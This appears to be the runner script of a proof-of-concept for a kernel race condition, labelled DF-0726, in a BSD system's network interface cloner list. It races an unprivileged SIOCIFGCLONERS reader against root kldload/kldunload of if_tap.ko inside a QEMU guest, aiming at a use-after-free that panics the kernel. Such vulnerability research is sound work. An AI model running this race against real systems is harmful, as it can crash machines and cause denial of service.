#!/bin/sh
# DF-0726 race runner — drives both halves of the if_cloners race.
#
# Reader: unprivileged user (maxx) running ./reader (SIOCIFGCLONERS tight loop)
# Writer: root kldload/kldunload of a cloner module (if_tap.ko) — this calls
#         if_clone_attach()/if_clone_detach() on the same unlocked list.
#
# A correct run either panics the guest (race hit -> kernel reads unmapped
# module page while traversing the if_cloners list) or exits cleanly after
# RACE_ITERS iterations without a panic (race too narrow to hit in this window).
#
# Usage from the host:  ./run.sh
# (Calls vm.sh run_user / run_root; never sshes interactively.)

set -e
ID=DF-0726
DIR="poc/$ID"
ITER_SECS=20            # how long to race per attempt
ATTEMPTS=5              # try the race this many times

# --- build the reader as the unprivileged user ---
./dfbsd-qemu/vm.sh run_user "cd $DIR && cc -O2 -o reader reader.c 2>&1; echo BUILD_EXIT=\$?"

# --- run the race attempts ---
for a in $(seq 1 $ATTEMPTS); do
    echo "=== race attempt $a/$ATTEMPTS ==="

    # Start reader in background as maxx (will be killed at end of attempt).
    ./dfbsd-qemu/vm.sh run_user "cd $DIR && (./reader >run.$a.out 2>run.$a.err &) && echo READER_PID=\$!"

    # Writer: root kldload/kldunload loop, runs for ITER_SECS.
    # Use if_tap.ko (loadable cloner module; tap_cloner is a static struct in
    # the module, so unload unmaps its backing pages -> the UAF target).
    ./dfbsd-qemu/vm.sh run_root "
        end=\$((\$(date +%s) + $ITER_SECS))
        while [ \$(date +%s) -lt \$end ]; do
            kldload if_tap.ko 2>/dev/null
            kldunload if_tap.ko 2>/dev/null
        done
        echo WRITER_DONE
    " 2>&1 | tail -2

    # Kill any surviving reader process.
    ./dfbsd-qemu/vm.sh run_user 'pkill -f "poc/DF-0726/reader" 2>/dev/null; true' >/dev/null 2>&1 || true

    sleep 1
    # Did the guest survive?
    if ! ./dfbsd-qemu/vm.sh status >/dev/null 2>&1; then
        echo "=== GUEST DOWN after attempt $a — likely panic ==="
        exit 0
    fi
    echo "=== guest still up after attempt $a ==="
done

echo "=== no panic after $ATTEMPTS attempts ==="
